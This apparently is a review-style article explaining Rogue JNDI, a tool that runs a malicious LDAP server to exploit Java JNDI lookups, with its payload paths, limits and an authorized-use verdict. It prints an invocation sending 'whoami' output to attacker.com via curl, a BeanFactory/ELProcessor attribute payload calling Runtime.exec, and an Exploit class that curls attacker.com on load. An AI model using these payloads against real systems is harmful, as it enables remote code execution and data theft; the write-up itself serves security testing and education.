Rogue JNDI: How a Malicious LDAP Server Exploits Java's Naming API
Hook
Even after Oracle disabled remote class loading in JDK 8u191, Rogue JNDI still achieves remote code execution by weaponizing the very libraries meant to make Java applications more flexible—Tomcat's BeanFactory and Groovy's ClassLoader.
Context
JNDI (Java Naming and Directory Interface) was designed to let Java applications look up data and objects from naming services like LDAP, DNS, or RMI. It's the glue that connects enterprise Java applications to directory services, allowing them to dynamically resolve resources at runtime. For years, this flexibility was also its Achilles heel: when user-controlled input flows into a JNDI lookup, attackers can point the application to a malicious LDAP server that returns serialized Java objects instead of benign directory entries.
Before tools like Rogue JNDI, exploiting JNDI vulnerabilities required deep knowledge of LDAP protocol internals and manual payload crafting. The attack became notorious with Log4Shell in December 2021, but the vulnerability class had been known for years. Oracle attempted to close the door with JDK 8u191 in 2018 by disabling remote codebase loading—the original attack vector that let LDAP servers force clients to download and execute arbitrary Java classes. Veracode Research created Rogue JNDI to demonstrate that these patches were insufficient, revealing that framework-specific deserialization patterns and unsafe reflection could still achieve remote code execution even on patched JDKs.
Technical Insight
Rogue JNDI's architecture is deceptively simple: an LDAP server that responds with malicious references, paired with an HTTP server for hosting exploit payloads. The real sophistication lies in its payload controllers—modular attack strategies that adapt to different JDK versions and target environments.
When you start Rogue JNDI, you specify a command to execute and the tool generates multiple LDAP endpoint paths, each mapped to a different exploit technique. A typical invocation looks like this:
java -jar target/RogueJndi-1.1.jar --command "curl attacker.com/exfil?data=$(whoami)" --hostname 192.168.1.100
This spawns both servers and outputs a menu of JNDI URLs you can inject into vulnerable applications:
ldap://192.168.1.100:1389/o=reference
ldap://192.168.1.100:1389/o=tomcat
ldap://192.168.1.100:1389/o=groovy
ldap://192.168.1.100:1389/o=websphere1
Each path triggers a different payload controller. The /o=reference endpoint uses the classic remote class loading technique—it returns an LDAP referral pointing to the HTTP server, which serves a malicious Java class. When the victim's JNDI client processes this response, it downloads and instantiates the class, executing your payload in its static initializer. This only works on JDK versions before 8u191, but it's reliable and requires no specific libraries.
The more sophisticated attacks target ObjectFactory deserialization patterns. The /o=tomcat endpoint exploits Tomcat's BeanFactory, which is an ObjectFactory implementation that uses reflection to instantiate arbitrary beans. Rogue JNDI crafts an LDAP entry with a javaClassName attribute set to org.apache.naming.factory.BeanFactory and includes additional attributes that specify a target class and method to invoke:
// Simplified version of what Rogue JNDI generates
Attributes attrs = new BasicAttributes();
attrs.put("javaClassName", "javax.el.ELProcessor");
attrs.put("forceString", "x=eval");
attrs.put("x", "Runtime.getRuntime().exec('...')");
attrs.put("javaFactory", "org.apache.naming.factory.BeanFactory");
When the victim's JNDI lookup processes this entry, BeanFactory reflectively instantiates javax.el.ELProcessor (part of Tomcat's Expression Language library) and calls its eval method with attacker-controlled input. This bypasses the JDK's remote codebase restrictions because everything happens through reflection within classes already on the classpath—no remote class loading required.
The Groovy payload (/o=groovy) takes a similar approach but targets groovy.lang.GroovyShell, which can evaluate arbitrary Groovy code. The WebSphere payloads leverage vendor-specific vulnerabilities: websphere1 exploits an XXE vulnerability in WebSphere's JNDI implementation to read local files, while websphere2 manipulates the classpath to load attacker-controlled resources.
The HTTP server component is crucial for the reference-based attacks. It dynamically compiles Java source code into bytecode based on your command-line payload, then serves it when the victim's JVM requests it. The generated class typically contains a static initializer that executes your command:
public class Exploit {
static {
try {
Runtime.getRuntime().exec("curl attacker.com/...");
} catch (Exception e) {
// Silently fail
}
}
}
This modular design means you don't need to know in advance which payload will work—you can test multiple JNDI URLs against a target and see which one succeeds. The tool abstracts away the protocol-level details of crafting LDAP responses and managing the handshake between LDAP referrals and HTTP class serving.
Gotcha
The effectiveness of Rogue JNDI drops dramatically in modern, well-patched environments. If your target runs JDK 8u191+ without Tomcat, Groovy, or WebSphere dependencies, none of the payloads will work. The remote class loading attacks fail due to Oracle's patches, and the framework-specific exploits fail due to missing libraries. This isn't a universal JNDI exploitation tool—it's highly dependent on environmental conditions.
Network accessibility is another critical limitation. The target application must be able to make outbound connections to your LDAP server on port 1389 and your HTTP server on a high port (default 8180). Many production environments block outbound LDAP entirely or restrict HTTP to specific proxies. Even if JNDI injection exists, you can't exploit it without network egress. Additionally, some payloads generate noisy network traffic or leave artifacts in application logs, making them unsuitable for stealthy assessments. The tool is best suited for controlled penetration tests where you've already confirmed basic JNDI injection exists and need to demonstrate impact, not for initial reconnaissance or blind exploitation attempts.
Verdict
Use if: you're conducting authorized security testing against Java applications and need to prove exploitability of JNDI injection vulnerabilities beyond simple proof-of-concept lookups. It's particularly valuable when auditing Tomcat-based applications or environments where you suspect older JDK versions, as it automates the tedious work of crafting valid LDAP responses and hosting exploit payloads. The multiple payload strategies save time during penetration tests by letting you quickly iterate through different attack vectors. Skip if: you're working defensively (this tool won't help you fix vulnerabilities, only exploit them), testing modern Spring Boot applications with updated JDKs and no Tomcat/Groovy dependencies, or operating in environments with strict egress filtering. For defensive work, invest in static analysis tools like Semgrep with JNDI injection rules or runtime protections that validate JNDI lookup targets. Remember that this is explicitly a red team tool—using it against systems without authorization is illegal and unethical.